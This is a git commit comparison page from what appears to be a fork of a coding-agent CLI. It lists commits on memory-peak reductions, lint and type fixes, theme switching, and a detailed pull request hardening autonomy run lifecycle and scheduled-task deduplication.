Compare commits

..

56 Commits

Author SHA1 Message Date
claude-code-best
f72b867aa6 chore: v2.0.1 2026-05-02 15:46:55 +08:00
claude-code-best
0290fe3227 fix: 关闭 context-collapse 来修复 auto compact 失效 2026-05-02 15:46:25 +08:00
claude-code-best
f724300079 fix: 内存优化 — FileReadTool 100KB 上限、lookups 缓存、microcompact 替换清理
- FileReadTool maxResultSizeChars 从 Infinity 改为 100KB,大文件持久化到磁盘
- Messages.tsx 新增 computeMessageStructureKey 缓存,流式 delta 时跳过 8 个 Map/Set 重建
- microcompact 返回 clearedToolUseIds,query.ts 消费后清理 replacements Map 释放原始字符串
- 更新内存分析报告 Round 5 和 file-operations 文档

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-02 11:21:22 +08:00
claude-code-best
3eba5ade1a chore: v2.0.0 2026-05-02 09:29:17 +08:00
claude-code-best
385baf5737 Merge pull request #402 from claude-code-best/fixture/memory-peak
fixture: 修复内存高峰问题
2026-05-02 09:27:45 +08:00
claude-code-best
0977b0520e docs: 合并性能分析报告并优化内存管理
将 performance-reporter.md 合入 memory-peak-analysis.md,统一分析文档。
代码优化包括:compact 峰值释放、GC 阈值触发、虚拟滚动参数调优、
HybridTransport 队列缩减、无界缓存加 LRU 淘汰、taskSummary 避免数组拷贝。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-02 09:11:12 +08:00
claude-code-best
96f1700e55 Merge pull request #400 from claude-code-best/fixture/memory-peak
fix: 优化内存峰值与 CPU 性能,降低 100-300MB 内存占用
2026-05-02 08:38:11 +08:00
claude-code-best
ef10ad2839 fix: 优化内存峰值与 CPU 性能,降低 100-300MB 内存占用
- claude.ts: 流式字符串拼接从 O(n²) += 改为数组累积 join,消除 4 处热点
- Messages.tsx: 合并 3 组独立遍历为单次 pass(thinking/bash 查找、3-filter 链、divider/selectedIdx)
- HighlightedCode.tsx: ColorFile 实例添加模块级 LRU 缓存(50 条),避免重复创建
- screen.ts: StylePool 衍生缓存添加 1000 条上限淘汰,防止无界增长
- CompanionSprite.tsx: TICK_MS 从 500ms 提升至 1000ms,减少 setState 频率
- connection.ts: MCP stderr 缓冲从 64MB 降至 8MB
- stringUtils.ts: MAX_STRING_LENGTH 从 32MB 降至 2MB
- sessionStorage.ts: Transcript 写入队列添加 1000 条上限
- query.ts: spread 改 concat 减少一次数组拷贝
- PromptInputFooterLeftSide.tsx: 显示进程 pid 便于调试

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-02 00:45:03 +08:00
claude-code-best
f484fc34c8 chore: 添加 VSCode 推荐扩展列表并固定 Bun 运行时版本
- 创建 .vscode/extensions.json 推荐 Biome、TypeScript、Bun、EditorConfig 扩展
- 添加 .tool-versions 固定 bun 1.3.13
- package.json engines.bun 收紧为 >=1.3.0
- .gitignore 改用 .vscode/* + 例外以允许 extensions.json 提交

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 22:28:34 +08:00
claude-code-best
ab0bbbc4b5 fix: 修复内存溢出问题,compact 时清理持久增长数据结构
- compact 时清理 contentReplacementState(seenIds/replacements)
- logError() 使用 shortErrorStack 替代完整 err.stack,减少 GC 压力
- permissionDenials 每次 submitMessage 清空,防止无限增长
- SSE 缓冲区添加 1MB 上限,防止畸形数据无限累积

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 22:24:18 +08:00
claude-code-best
a81995052f docs: 更新 CLAUDE.md 中 Biome 覆盖范围和 lint/tsc 冲突处理规则
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 22:06:15 +08:00
claude-code-best
ff2074c798 style: 添加 biome-ignore 消除 noUnusedPrivateClassMembers 警告
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 22:01:54 +08:00
claude-code-best
491c16da25 fix: 修复 tsc 类型错误,通过 CI typecheck 阶段
- bridgeClient.ts: 添加缺失的 pairingInProgress 属性声明
- ink.tsx: 移除 5 处不再需要的 @ts-expect-error,保留 1 处 MACRO 比较
- client.ts: 添加缺失的 pendingSessionTarget 属性声明

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 22:00:29 +08:00
claude-code-best
9ea9859dce style: 格式化 packages/@ant/ 下所有文件以通过 biome ci
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 21:55:51 +08:00
claude-code-best
c32f26cf21 style: 修复所有 lint 错误,覆盖 @ant forked 代码
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-01 21:49:21 +08:00
claude-code-best
6182015005 style: 完成所有文件的lint 2026-05-01 21:39:30 +08:00
claude-code-best
d136872cc9 fix: 尝试修复第三方 api 不兼容部分参数问题 2026-05-01 09:21:34 +08:00
claude-code-best
465c95ae53 chore: 1.11.1 2026-04-30 20:51:17 +08:00
claude-code-best
42100d6268 feat: 关闭 skill learning 2026-04-30 20:42:07 +08:00
claude-code-best
ca29e4e8f7 fix: 禁用 FORK_SUBAGENT 恢复 Explore 子代理的 haiku 模型分发
启用 FORK_SUBAGENT 后,Agent prompt 引导模型用 fork(继承父模型)
替代 Explore 子代理(haiku),导致探索任务使用同等级模型而非低成本模型。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-30 20:41:30 +08:00
claude-code-best
cd8136f4b1 Merge pull request #395 from bonerush/fix/theme-switching
fix: theme switching always defaults to dark mode
2026-04-30 18:11:59 +08:00
Bonerush
71c89e9de4 fix: theme switching always defaults to dark mode
Root causes:
1. ThemeProvider was imported but never used in App.tsx and showSetupDialog
2. setThemeConfigCallbacks was never called to inject persistence callbacks
3. Preview/save/cancel theme lifecycle had no provider to coordinate

Changes:
- Export setThemeConfigCallbacks from @anthropic/ink
- Wrap App.tsx children with ThemeProvider (initialState from config, onThemeSave persists)
- Wrap showSetupDialog with ThemeProvider for onboarding/trust dialogs
- Call setThemeConfigCallbacks in init.ts to register load/save callbacks
- Update SnapshotUpdateDialog test to account for new ThemeProvider wrapper

Fixes #theme-switching
2026-04-30 16:15:27 +08:00
claude-code-best
632f3e199e Merge pull request #381 from LittleApple-fp16/patch-1
Fix formatting in README.md links section
2026-04-30 09:08:26 +08:00
claude-code-best
282d515043 chore: v1.11.0 2026-04-29 22:12:08 +08:00
claude-code-best
00da5d7d1a Merge pull request #388 from yjjheizhu/fix/modelpicker-1m-toggle-hint
fix: 在模型选择器中 1M 上下文关闭状态也显示 Space to toggle 提示
2026-04-29 22:01:48 +08:00
claude-code-best
08cd02cd37 fix: highlight 缓存改用 LRUCache 降低内存开销
- Fallback.tsx: 手动 Map LRU 替换为 lru-cache 的 LRUCache
- Markdown.tsx: tokenCache 同样替换为 LRUCache
- color-diff-napi: 新增行级 hljs AST 缓存,避免终端 resize 时重复高亮

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 21:59:10 +08:00
claude-code-best
7effbca8db chore: 1.10.11 2026-04-29 21:42:34 +08:00
claude-code-best
edae3a7d37 feat: harden autonomy lifecycle, OOM bounds, and provider-boundary finalization (#386)
* feat: harden autonomy lifecycle, OOM bounds, and provider-boundary finalization

This PR consolidates a coordinated batch of fixes around autonomy run/flow lifecycle, scheduled task deduplication, provider-boundary state finalization, and matching memory-bound treatments for adjacent long-running subsystems (REPL fullscreen scrollback, skill-search/skill-learning runtime activation). All changes were developed and reviewed together because they touched the same lifecycle invariants and were uncovered by the same long-running session reproductions.

## Lifecycle correctness

- Queued autonomy prompts are not injected unless the persisted run was successfully claimed; queued run claiming is now terminal-safe so a once-consumed/cancelled/failed run can not slip back into `queued`.
- Autonomy run/flow finalization happens on completion, provider error, generator close, and cancellation — not just the happy path. New `src/__tests__/queryAutonomyProviderBoundary.test.ts` covers these provider-boundary transitions.
- `requestManagedAutonomyFlowCancel` and `resumeManagedAutonomyFlowPrompt` carry `rootDir` and `currentDir` explicitly across detached async boundaries (proactive-tick, cron, daemon restart) instead of inferring from process state.
- Active runs/flows are protected from janitor pruning so a running step can not be garbage-collected mid-flight (`src/utils/autonomyAuthority.ts`).
- Heartbeat parser now ignores fenced code blocks; the two-phase commit window for autonomy state transitions is documented in `docs/internals/autonomy-jira.md`.

## Ownership and dedup

- `src/utils/autonomyRuns.ts`: ownership stamping (run id + rootDir carried end-to-end), source-based dedup against active runs.
- `src/hooks/useScheduledTasks.ts`: scheduled ticks deduplicate against runs already active on the same source label.
- `src/utils/processUserInput/processSlashCommand.tsx`: forked slash commands now thread the autonomy `runId` so completion finalizers can find the originating run for deferred completion.
- New `src/utils/autonomyQueueLifecycle.ts` and tests collect the queue-side lifecycle invariants in one place.

## Memory bounds (related, same review pass)

- `src/screens/REPL.tsx`: caps fullscreen scrollback after the compact boundary and updates trailing progress rows in place. Long-running fullscreen sessions could otherwise retain thousands of post-compaction messages and duplicate progress rows, keeping Ink trees alive long after their useful context had moved on.
- `src/services/skillSearch/*` and `src/services/skillLearning/*`: runtime activation is strictly opt-in via existing env toggles; session caches are capped so long-running processes can not grow them forever. Build presence is preserved so operators can still discover and opt into the slash commands.

## CI / test contract

- `tests/integration/dependency-overrides.test.ts`: smoke test no longer drives Mermaid's browser renderer; it validates the package-resolution contract directly so CI does not regress on unrelated browser timing.
- New `tests/integration/autonomy-lifecycle-user-flow.test.ts`: end-to-end CLI subprocess flow exercising `status --deep`, `flows`, `flow <id>`, `flow resume`, `flow cancel` against persisted state.
- `src/entrypoints/cli.tsx`: `claude autonomy …` routes through an entrypoint fast path that reuses the slash-command formatter without booting the full interactive CLI. Stdout is flushed before forced exit so coverage subprocesses do not terminate with empty stdout.
- `packages/builtin-tools/src/tools/RemoteTriggerTool/__tests__/RemoteTriggerTool.test.ts`: stabilized to prevent audit flake under coverage.

## Tests added

- `src/__tests__/queryAutonomyProviderBoundary.test.ts`
- `src/hooks/__tests__/useScheduledTasks.test.ts`
- `src/utils/__tests__/autonomyAuthority.test.ts`
- `src/utils/__tests__/autonomyFlows.test.ts` (extended)
- `src/utils/__tests__/autonomyPersistence.test.ts` (extended)
- `src/utils/__tests__/autonomyQueueLifecycle.test.ts`
- `src/utils/__tests__/autonomyRuns.test.ts` (extended)
- `src/utils/processUserInput/__tests__/processSlashCommand.test.ts`
- `tests/integration/autonomy-lifecycle-user-flow.test.ts`

## Docs

- `docs/agent/sur-loop-scheduled-oom.md`: System Understanding Report covering the scheduled/loop OOM problem, the call graphs investigated, and the lifecycle invariants this PR establishes.
- `docs/agent/sur-skill-overflow-bugs.md`: SUR for the related skill-overflow context.
- `docs/internals/autonomy-jira.md`: documents the two-phase commit window and ownership stamping invariants.
- `docs/memory-leak-audit.md`: audit notes covering the REPL/scrollback and skill-search bounds.

## Invariants this PR establishes

1. Queued autonomy prompts are not injected unless the persisted run was successfully claimed.
2. Terminal run/flow states are terminal — completion, failure, and cancellation all finalize state regardless of which provider/error path triggered them.
3. Autonomy run/flow `rootDir` is carried explicitly across detached async boundaries instead of inferred from a shared singleton.
4. State-only CLI subcommands (`autonomy status|runs|flows|flow …`) bypass full interactive bootstrap so they do not hold unrelated handles open.
5. REPL fullscreen scrollback and skill-search/skill-learning session caches are explicitly bounded.

## Validation

```bash
bun run typecheck
CI=true GITHUB_ACTIONS=true bun test            # 3996 pass / 0 fail across 305 files
bun test src/__tests__/queryAutonomyProviderBoundary.test.ts \
         src/hooks/__tests__/useScheduledTasks.test.ts \
         src/utils/__tests__/autonomy{Runs,Flows,Authority,QueueLifecycle,Persistence}.test.ts \
         src/utils/processUserInput/__tests__/processSlashCommand.test.ts \
         tests/integration/autonomy-lifecycle-user-flow.test.ts
```

## Origin

This PR is the consolidated, upstream-targeted version of two fork-side review PRs (fix/loop-scheduled-autonomy-oom and fix/autonomy-lifecycle). The fork-side review history is preserved at https://github.com/amDosion/claude-code-bast/pull/7 . The fork's own internal `chore: keep fork current with upstream` sync commits and the `docs: update contributors` automation are intentionally not included in this PR.

The autonomy CLI handler `rootDir` threading that the fork added (78f64d8a, 98d04ddb) is intentionally omitted here because upstream `a2cfaf91` (fix: 修复 RemoteTriggerTool 和 autonomy 测试的全量运行失败) already performed the equivalent change with an additional `currentDir` option. Keeping the upstream version avoids regressing that improvement.

* fixup: address CodeRabbit review on PR #386

Twelve actionable items (7 Major + 5 Minor) from the CodeRabbit review on
claude-code-best/claude-code#386:

- docs/internals/autonomy-jira.md: typo "due input close" → "due to input close".
- src/utils/autonomyRuns.ts:
  - selectPersistedAutonomyRuns no longer evicts active (queued/running) runs
    when the combined list exceeds AUTONOMY_RUNS_MAX. Active runs are kept in
    full and the inactive history is capped to the remaining budget so
    persisted ownership for live work survives.
  - isValidOwnerProcessId now allows pid <= 4_194_304 so a live run owned by
    the maximum Linux PID is not treated as stale.
- src/utils/autonomyAuthority.ts: maskCodeFencedLines tracks the active fence
  length and only closes the fence when a same-character run of equal-or-
  greater length appears with no trailing content, so a nested ```yaml inside
  an outer ```` block no longer leaks fake `tasks:` entries into the parser.
- src/cli/print.ts: late-shutdown branches in the cron and scheduled-task
  paths now call cancelQueuedAutonomyCommands({ commands: [command] }) instead
  of markAutonomyRunCancelled(...). Updating run state alone left the
  queue-side record orphaned for resume/recovery.
- src/utils/processUserInput/processSlashCommand.tsx: scheduled-task-result
  notification is enqueued before finalizeAutonomyRunCompleted (which queues
  follow-up autonomy commands) so both at priority: 'later' land in order and
  the next autonomy step can not run before the worker's output is observed.
- src/screens/REPL.tsx + src/utils/handlePromptSubmit.ts:
  - onQuery now returns Promise<boolean>: false from the concurrent-guard
    skip path, true otherwise. Other call sites use `void onQuery(...)` and
    are unaffected. handlePromptSubmit's onQuery prop type matches.
  - The autonomy-prompt callsite captures the executed flag, finalizes
    claim.claimedCommands as { type: 'completed' } only when onQuery actually
    ran, and runs the completed-finalize in its own try/catch so a failure
    there does not propagate into the outer catch and trigger a second
    finalize as { type: 'failed' } for the same commands.
  - Removed the unsafe `command.value as string` cast; createUserMessage
    already accepts `string | ContentBlockParam[]`.
  - createUserMessage mock in src/__tests__/handlePromptSubmit.test.ts now
    matches the new Promise<boolean> shape.
- packages/builtin-tools/src/tools/RemoteTriggerTool/__tests__/
  RemoteTriggerTool.test.ts:
  - Inline auth mock replaced with the shared tests/mocks/auth (added).
  - The full mock of src/constants/oauth.js is replaced by a narrow
    side-effect-only mock that overrides the env-reading helpers
    (getOauthConfig, fileSuffixForOauthConfig, MCP_CLIENT_METADATA_URL) and
    delegates pure data exports to the real module.
- tests/integration/dependency-overrides.test.ts:
  - mermaid does not export `./package.json` in its exports map, so
    require.resolve('mermaid/package.json') throws
    ERR_PACKAGE_PATH_NOT_EXPORTED in runtimes that honor exports semantics.
    The test now resolves the package entry and walks up to the package
    root via a small findPackageJson helper.
  - readFileSync from node:fs is replaced with `await Bun.file(...).text()`
    to match the project's Bun-API requirement.

Validation:
- bun run typecheck (clean).
- bun test → 3996 pass / 0 fail across 305 test files.

Targets PRs:
- amDosion/claude-code-bast#8 (fork-internal review)
- claude-code-best/claude-code#386 (upstream review, same head branch)

* fixup: address CodeRabbit second-round review on PR #386

Four inline + one outside-diff actionable comment from the second CodeRabbit
review on claude-code-best/claude-code#386:

- tests/mocks/auth.ts: align mock return contracts with src/utils/auth.ts.
  checkAndRefreshOAuthTokenIfNeeded resolves to a Promise<boolean> and
  getClaudeAIOAuthTokens returns the full token shape (refreshToken, expiresAt,
  scopes, subscriptionType, rateLimitTier) so tests that branch on these
  values can not silently drift away from production.
- src/utils/handlePromptSubmit.ts (461-468): clear the freshly-published
  abortController before the early return when every claimed autonomy command
  was skipped as non-consumable, so this turn's stale controller does not leak
  into the next turn.
- src/utils/handlePromptSubmit.ts (621-649): separate execution failure from
  finalizer failure. The turn body now writes to a `turnError` slot; a single
  pass after the inner try decides whether to finalize claimed commands as
  `completed` or `failed`, with each finalize call wrapped in its own
  try/catch so a failure inside finalize does not flip a successful turn into
  `failed` and double-finalize the same commands. The outer catch only
  rethrows the original turn error.
- src/utils/processUserInput/processSlashCommand.tsx (228-276): wrap the
  post-success `finalizeDeferredAutonomyRunCompleted()` call in its own
  try/catch so a finalize failure no longer falls into the worker-failure
  catch path and emits a contradictory `<scheduled-task-result status="failed">`
  for a slash command that actually succeeded.

Outside scope (not changed) — the CodeRabbit suggestion to add a `.ts`
extension to the shared `tests/mocks/auth` import contradicts the project's
existing convention: every other test imports the shared mocks without the
extension (e.g. `tests/mocks/log`, `tests/mocks/debug`,
`tests/mocks/file-system`), and the project's tsconfig does not enable
`allowImportingTsExtensions`, so adding the extension fails typecheck. The
import is kept extension-less to match the rest of the suite.

Validation:
- bun run typecheck (clean).
- bun test → 3996 pass / 0 fail across 305 test files.

* docs: 给 sur-skill-overflow-bugs 的代码块加 bash 标签

应用 PR #386 review 的剩余 nit。pid_max 边界、REPL cast、autonomy-jira typo
三处与远端 fixup (452a7e6) 内容相同,rebase 时已去重,本次提交仅包含 code
fence 语言标签这一项。

* fixup: 处理 PR #386 review 中尚未覆盖的 4 项

- src/cli/print.ts: cron onFire 改用 createAutonomyQueuedPromptIfNoActiveSource
  并以 prompt 文本作为 sourceId,避免同一定时提示在前一次 run 仍活跃时被重复
  入队叠加;顺手移除 4 个已没人引用的 dead import
  (commitAutonomyQueuedPrompt / prepareAutonomyTurnPrompt /
   markAutonomyRunCancelled / createAutonomyQueuedPrompt)
- src/services/compact/postCompactCleanup.ts: 在 void import().then() 处加
  注释,明确 sweepFileContentCache 是有意的 fire-and-forget,函数对外保持
  同步签名是设计而非疏忽
- src/utils/autonomyFlows.ts: 给 selectPersistedAutonomyFlows 的两阶段排序
  加文档注释(先按 active+updatedAt 选 top-N,再统一按 updatedAt 重排)
- tests/integration/autonomy-lifecycle-user-flow.test.ts: stderr 断言失败时
  把实际 stderr 内容写进 message,方便 CI 失败时定位

* refactor: 简化/复用/防御 — 清理 PR #386 审计发现

简化 (S1, S2):
- src/cli/print.ts: 抽出 dispatchHeadlessCronCommand 本地 helper,把
  cron 三个入口(onFire / onFireTask agent / onFireTask 非-agent)共享的
  「dedup-claim → input-close-recheck → onSuccess」管线集中到一处,
  避免三个分支在「claim 与 dispatch 之间发生 inputClosed」的处理上漂移。
  enqueueAndRun 再抽出来,使两个非-agent 分支共用一个 onSuccess 回调。
  约 -55 行重复模板。
- src/utils/autonomyPersistence.ts: 新增 retainActiveFirst<T> 泛型
  helper —— active 记录无条件保留(不参与 cap),inactive 按 timestamp
  desc 填满剩余预算;统一 selectPersistedAutonomyRuns / Flows 的两阶段
  排序语义。
- src/utils/autonomyRuns.ts、autonomyFlows.ts: 改用 retainActiveFirst,
  删掉重复的内联两阶段排序逻辑。

复用 (R1, review #8):
- tests/mocks/file-system.ts: 新增 readTempFile / tempPathExists 两个
  Bun.file 包装,补齐 Node fs.readFileSync / existsSync 在测试里的
  Bun-only 等价物。
- src/utils/__tests__/autonomyRuns.test.ts: 把全部 Node fs/path 导入
  (existsSync, readFileSync, mkdir, writeFile, path.join/resolve)替换为
  tests/mocks/file-system 的共享 helper + node:path(带 node: 前缀)。
  不再有 6 处 mkdir + writeFile 模板,统一用 writeTempFile(自带 mkdir-p)。
  解决 review #8 (Major) 的 Bun-only 运行时契约违反。

防御 (D1, OOM 早期信号):
- src/services/compact/postCompactCleanup.ts: 在 void import().then() 末尾
  补 .catch(logError)。当前 attributionHooks 是 stub,但当真实现被恢复
  且 sweepFileContentCache 抛错时,这个 .catch 阻止它变成 unhandled
  rejection(函数返回值是 void,调用者无从观察异步失败)。
- src/utils/autonomyRuns.ts: 给 active runs 加 100 条软上限 + 一次性
  warn。selectPersistedAutonomyRuns 仍然永不淘汰 active 记录,但跨过
  阈值时 logError 一次,作为 finalize-leak 早期信号——避免 active 无限
  增长悄悄使 AUTONOMY_RUNS_MAX 失效。

---------

Co-authored-by: unraid <local@unraid.local>
Co-authored-by: Claude <noreply@anthropic.com>
2026-04-29 21:28:42 +08:00
Claude
7a6e65caf7 refactor: 简化/复用/防御 — 清理 PR #386 审计发现
简化 (S1, S2):
- src/cli/print.ts: 抽出 dispatchHeadlessCronCommand 本地 helper,把
  cron 三个入口(onFire / onFireTask agent / onFireTask 非-agent)共享的
  「dedup-claim → input-close-recheck → onSuccess」管线集中到一处,
  避免三个分支在「claim 与 dispatch 之间发生 inputClosed」的处理上漂移。
  enqueueAndRun 再抽出来,使两个非-agent 分支共用一个 onSuccess 回调。
  约 -55 行重复模板。
- src/utils/autonomyPersistence.ts: 新增 retainActiveFirst<T> 泛型
  helper —— active 记录无条件保留(不参与 cap),inactive 按 timestamp
  desc 填满剩余预算;统一 selectPersistedAutonomyRuns / Flows 的两阶段
  排序语义。
- src/utils/autonomyRuns.ts、autonomyFlows.ts: 改用 retainActiveFirst,
  删掉重复的内联两阶段排序逻辑。

复用 (R1, review #8):
- tests/mocks/file-system.ts: 新增 readTempFile / tempPathExists 两个
  Bun.file 包装,补齐 Node fs.readFileSync / existsSync 在测试里的
  Bun-only 等价物。
- src/utils/__tests__/autonomyRuns.test.ts: 把全部 Node fs/path 导入
  (existsSync, readFileSync, mkdir, writeFile, path.join/resolve)替换为
  tests/mocks/file-system 的共享 helper + node:path(带 node: 前缀)。
  不再有 6 处 mkdir + writeFile 模板,统一用 writeTempFile(自带 mkdir-p)。
  解决 review #8 (Major) 的 Bun-only 运行时契约违反。

防御 (D1, OOM 早期信号):
- src/services/compact/postCompactCleanup.ts: 在 void import().then() 末尾
  补 .catch(logError)。当前 attributionHooks 是 stub,但当真实现被恢复
  且 sweepFileContentCache 抛错时,这个 .catch 阻止它变成 unhandled
  rejection(函数返回值是 void,调用者无从观察异步失败)。
- src/utils/autonomyRuns.ts: 给 active runs 加 100 条软上限 + 一次性
  warn。selectPersistedAutonomyRuns 仍然永不淘汰 active 记录,但跨过
  阈值时 logError 一次,作为 finalize-leak 早期信号——避免 active 无限
  增长悄悄使 AUTONOMY_RUNS_MAX 失效。
2026-04-29 13:23:41 +00:00
Claude
6b7cfda9b1 fixup: 处理 PR #386 review 中尚未覆盖的 4 项
- src/cli/print.ts: cron onFire 改用 createAutonomyQueuedPromptIfNoActiveSource
  并以 prompt 文本作为 sourceId,避免同一定时提示在前一次 run 仍活跃时被重复
  入队叠加;顺手移除 4 个已没人引用的 dead import
  (commitAutonomyQueuedPrompt / prepareAutonomyTurnPrompt /
   markAutonomyRunCancelled / createAutonomyQueuedPrompt)
- src/services/compact/postCompactCleanup.ts: 在 void import().then() 处加
  注释,明确 sweepFileContentCache 是有意的 fire-and-forget,函数对外保持
  同步签名是设计而非疏忽
- src/utils/autonomyFlows.ts: 给 selectPersistedAutonomyFlows 的两阶段排序
  加文档注释(先按 active+updatedAt 选 top-N,再统一按 updatedAt 重排)
- tests/integration/autonomy-lifecycle-user-flow.test.ts: stderr 断言失败时
  把实际 stderr 内容写进 message,方便 CI 失败时定位
2026-04-29 12:45:02 +00:00
Claude
f8388e44ed docs: 给 sur-skill-overflow-bugs 的代码块加 bash 标签
应用 PR #386 review 的剩余 nit。pid_max 边界、REPL cast、autonomy-jira typo
三处与远端 fixup (452a7e6) 内容相同,rebase 时已去重,本次提交仅包含 code
fence 语言标签这一项。
2026-04-29 12:38:27 +00:00
unraid
189766c5af fixup: address CodeRabbit second-round review on PR #386
Four inline + one outside-diff actionable comment from the second CodeRabbit
review on claude-code-best/claude-code#386:

- tests/mocks/auth.ts: align mock return contracts with src/utils/auth.ts.
  checkAndRefreshOAuthTokenIfNeeded resolves to a Promise<boolean> and
  getClaudeAIOAuthTokens returns the full token shape (refreshToken, expiresAt,
  scopes, subscriptionType, rateLimitTier) so tests that branch on these
  values can not silently drift away from production.
- src/utils/handlePromptSubmit.ts (461-468): clear the freshly-published
  abortController before the early return when every claimed autonomy command
  was skipped as non-consumable, so this turn's stale controller does not leak
  into the next turn.
- src/utils/handlePromptSubmit.ts (621-649): separate execution failure from
  finalizer failure. The turn body now writes to a `turnError` slot; a single
  pass after the inner try decides whether to finalize claimed commands as
  `completed` or `failed`, with each finalize call wrapped in its own
  try/catch so a failure inside finalize does not flip a successful turn into
  `failed` and double-finalize the same commands. The outer catch only
  rethrows the original turn error.
- src/utils/processUserInput/processSlashCommand.tsx (228-276): wrap the
  post-success `finalizeDeferredAutonomyRunCompleted()` call in its own
  try/catch so a finalize failure no longer falls into the worker-failure
  catch path and emits a contradictory `<scheduled-task-result status="failed">`
  for a slash command that actually succeeded.

Outside scope (not changed) — the CodeRabbit suggestion to add a `.ts`
extension to the shared `tests/mocks/auth` import contradicts the project's
existing convention: every other test imports the shared mocks without the
extension (e.g. `tests/mocks/log`, `tests/mocks/debug`,
`tests/mocks/file-system`), and the project's tsconfig does not enable
`allowImportingTsExtensions`, so adding the extension fails typecheck. The
import is kept extension-less to match the rest of the suite.

Validation:
- bun run typecheck (clean).
- bun test → 3996 pass / 0 fail across 305 test files.
2026-04-29 15:49:54 +08:00
unraid
452a7e6a15 fixup: address CodeRabbit review on PR #386
Twelve actionable items (7 Major + 5 Minor) from the CodeRabbit review on
claude-code-best/claude-code#386:

- docs/internals/autonomy-jira.md: typo "due input close" → "due to input close".
- src/utils/autonomyRuns.ts:
  - selectPersistedAutonomyRuns no longer evicts active (queued/running) runs
    when the combined list exceeds AUTONOMY_RUNS_MAX. Active runs are kept in
    full and the inactive history is capped to the remaining budget so
    persisted ownership for live work survives.
  - isValidOwnerProcessId now allows pid <= 4_194_304 so a live run owned by
    the maximum Linux PID is not treated as stale.
- src/utils/autonomyAuthority.ts: maskCodeFencedLines tracks the active fence
  length and only closes the fence when a same-character run of equal-or-
  greater length appears with no trailing content, so a nested ```yaml inside
  an outer ```` block no longer leaks fake `tasks:` entries into the parser.
- src/cli/print.ts: late-shutdown branches in the cron and scheduled-task
  paths now call cancelQueuedAutonomyCommands({ commands: [command] }) instead
  of markAutonomyRunCancelled(...). Updating run state alone left the
  queue-side record orphaned for resume/recovery.
- src/utils/processUserInput/processSlashCommand.tsx: scheduled-task-result
  notification is enqueued before finalizeAutonomyRunCompleted (which queues
  follow-up autonomy commands) so both at priority: 'later' land in order and
  the next autonomy step can not run before the worker's output is observed.
- src/screens/REPL.tsx + src/utils/handlePromptSubmit.ts:
  - onQuery now returns Promise<boolean>: false from the concurrent-guard
    skip path, true otherwise. Other call sites use `void onQuery(...)` and
    are unaffected. handlePromptSubmit's onQuery prop type matches.
  - The autonomy-prompt callsite captures the executed flag, finalizes
    claim.claimedCommands as { type: 'completed' } only when onQuery actually
    ran, and runs the completed-finalize in its own try/catch so a failure
    there does not propagate into the outer catch and trigger a second
    finalize as { type: 'failed' } for the same commands.
  - Removed the unsafe `command.value as string` cast; createUserMessage
    already accepts `string | ContentBlockParam[]`.
  - createUserMessage mock in src/__tests__/handlePromptSubmit.test.ts now
    matches the new Promise<boolean> shape.
- packages/builtin-tools/src/tools/RemoteTriggerTool/__tests__/
  RemoteTriggerTool.test.ts:
  - Inline auth mock replaced with the shared tests/mocks/auth (added).
  - The full mock of src/constants/oauth.js is replaced by a narrow
    side-effect-only mock that overrides the env-reading helpers
    (getOauthConfig, fileSuffixForOauthConfig, MCP_CLIENT_METADATA_URL) and
    delegates pure data exports to the real module.
- tests/integration/dependency-overrides.test.ts:
  - mermaid does not export `./package.json` in its exports map, so
    require.resolve('mermaid/package.json') throws
    ERR_PACKAGE_PATH_NOT_EXPORTED in runtimes that honor exports semantics.
    The test now resolves the package entry and walks up to the package
    root via a small findPackageJson helper.
  - readFileSync from node:fs is replaced with `await Bun.file(...).text()`
    to match the project's Bun-API requirement.

Validation:
- bun run typecheck (clean).
- bun test → 3996 pass / 0 fail across 305 test files.

Targets PRs:
- amDosion/claude-code-bast#8 (fork-internal review)
- claude-code-best/claude-code#386 (upstream review, same head branch)
2026-04-29 15:17:50 +08:00
hzchat
29a1edbf46 fix: 在模型选择器中 1M 上下文关闭状态也显示 "Space to toggle" 提示
之前在 ModelPicker 中,只有 1M 上下文开启时才显示 "Space to toggle" 操作提示,
  关闭状态时没有任何提示,导致用户不知道如何通过空格键来切换 1M 上下文开关。

  Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-29 15:05:58 +08:00
unraid
f2e9af4927 feat: harden autonomy lifecycle, OOM bounds, and provider-boundary finalization
This PR consolidates a coordinated batch of fixes around autonomy run/flow lifecycle, scheduled task deduplication, provider-boundary state finalization, and matching memory-bound treatments for adjacent long-running subsystems (REPL fullscreen scrollback, skill-search/skill-learning runtime activation). All changes were developed and reviewed together because they touched the same lifecycle invariants and were uncovered by the same long-running session reproductions.

## Lifecycle correctness

- Queued autonomy prompts are not injected unless the persisted run was successfully claimed; queued run claiming is now terminal-safe so a once-consumed/cancelled/failed run can not slip back into `queued`.
- Autonomy run/flow finalization happens on completion, provider error, generator close, and cancellation — not just the happy path. New `src/__tests__/queryAutonomyProviderBoundary.test.ts` covers these provider-boundary transitions.
- `requestManagedAutonomyFlowCancel` and `resumeManagedAutonomyFlowPrompt` carry `rootDir` and `currentDir` explicitly across detached async boundaries (proactive-tick, cron, daemon restart) instead of inferring from process state.
- Active runs/flows are protected from janitor pruning so a running step can not be garbage-collected mid-flight (`src/utils/autonomyAuthority.ts`).
- Heartbeat parser now ignores fenced code blocks; the two-phase commit window for autonomy state transitions is documented in `docs/internals/autonomy-jira.md`.

## Ownership and dedup

- `src/utils/autonomyRuns.ts`: ownership stamping (run id + rootDir carried end-to-end), source-based dedup against active runs.
- `src/hooks/useScheduledTasks.ts`: scheduled ticks deduplicate against runs already active on the same source label.
- `src/utils/processUserInput/processSlashCommand.tsx`: forked slash commands now thread the autonomy `runId` so completion finalizers can find the originating run for deferred completion.
- New `src/utils/autonomyQueueLifecycle.ts` and tests collect the queue-side lifecycle invariants in one place.

